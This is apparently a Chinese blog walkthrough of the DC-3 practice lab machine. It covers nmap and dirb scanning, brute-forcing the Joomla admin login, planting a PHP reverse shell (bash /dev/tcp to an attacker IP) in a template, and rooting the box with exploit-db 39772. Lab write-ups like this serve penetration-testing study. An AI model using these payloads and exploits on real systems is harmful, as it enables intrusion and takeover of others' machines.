2022春节一次完整的渗透测试-DC-3

DC靶场的下载、安装与访问在上一篇的文章中。2022-渗透测试-DC靶场的下载、安装与访问_保持微笑的博客-CSDN博客https://blog.csdn.net/qq_38612882/article/details/122779202
靶场攻略:

1、使用nmap快速扫描的命令:

nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.120.0/24

识别到靶场主机ip

 2.使用命令:

nmap -A -p- -T4 192.168.120.135

 探测靶场突破口

 如图,可以看到,开放了80端口-http服务

3.访问80端口,寻找进一步突破口。如果直接使用ip访问会跳转到http://dc-2/,而无法正常加载出来。所以需要我们去添加hosts文件,跳转域名来访问靶场ip。

Windows:可以访问本地hosts,打开C:\Windows\System32\drivers\etc,修改hosts文件

 Linux:在/etc/hosts文件中添加域名。

打开浏览器,访问即可。

根据提示只有一个flag,并且需要拿到root权限才能得到。并且可以知道网站的CMS系统是Joomla。

4.使用dirb扫描http://dc-3/

dirb http://dc-3 /usr/share/wordlists/dirb/big.txt

 访问

http://dc-3/administrator/

 5.使用Brup进行爆破账号和密码。

 结果账号是admin,密码是snoopy。登录成功。

在首页Templates下发现了线索 

在Templates模版设置中,找到了,可编辑的php模版,这样就好弄了,在模版中添加反弹php的shell的语句,使用nc监听反弹的端口即可

<?php system("bash -c 'bash -i >& /dev/tcp/192.168.120.129/1234 0>&1' ");?>

 连接成功。查看文件内容,没有什么发现,直接在进入交互模式。

 通过收集信息,知道靶场环境系统为ubuntu 16.04,使用searchsploit工具,寻找到合适的提权脚本。

如图,发现可以提权的漏洞利用,查看利用方式。

显示漏洞利用的完整路径 

searchsploit 39772.txt -p

 将39722.txt文件复制到root目录下,然后查看文件。

cp /usr/share/exploitdb/exploits/linux/local/39772.txt /root

 通过阅读39772.txt的说明,知道需要下载一个提权脚本。

 解压39772.zip

unzip 39772.zip

解压exploit.tar
// cd 39772
//ls

crasher.tar  exploit.tar

//tar -xvf exploit.tar
//ls

crasher.tar  ebpf_mapfd_doubleput_exploit  exploit.tar

//cd ebpf_mapfd_doubleput_exploit                  
//ls

compile.sh  doubleput.c  hello.c  suidhelper.c

 首先运行./compile.sh,得到一个doubleput执行文件,再运行doubleput文件之后,成功提权

执行编译文件
// ./compile.sh
// ./doubleput
//  id                         
uid=0(root) gid=0(root) groups=0(root),33(www-data)
//whoami                    
// cd /root                
//ls
the-flag.txt

// cat the-flag.txt
cat the-flag.txt

 总结

在这个靶场中,用到的知识点有namp,暴力破解,brup软件,web目录扫描,反弹shell,提权,msf以及linux的一些基本命令。

猜你喜欢

转载自blog.csdn.net/qq_38612882/article/details/122797212
今日推荐